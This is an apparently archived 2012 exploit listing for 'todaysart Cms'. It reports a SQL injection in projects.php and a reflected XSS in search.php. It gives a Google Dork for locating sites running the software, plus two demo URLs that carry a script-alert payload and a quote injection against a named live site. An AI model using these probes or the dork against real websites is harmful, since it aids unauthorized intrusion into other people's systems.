todaysart Cms multiply vulnerability
2012-07-04 08:30:30Inviato da: Crim3R
# Exploit Title: todaysart Cms multiply vulnerability
# Google Dork: intext:"Powered by TRUE"
# Date: 30/06/2012
# Author: Crim3R
# software Link : http://true.nl/
# Version: All
# Tested on: all
========================================
there is an sql inejection vulnerability in projects.php
also an xss vulnerability in search.php
========================================
Demo:
http://todaysart.nl/portal/search.php?s=<script>alert(0)</script>
http://todaysart.nl/portal/projects.php?id='210'
===============Crim3R=====================
sites :
http://irist.ir/forum/
http://security7.ir/sc/
thanks to : Amir - Skote_vahshat- 2MzRp - Mikili -
and all IrIsT security7 Members ...
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.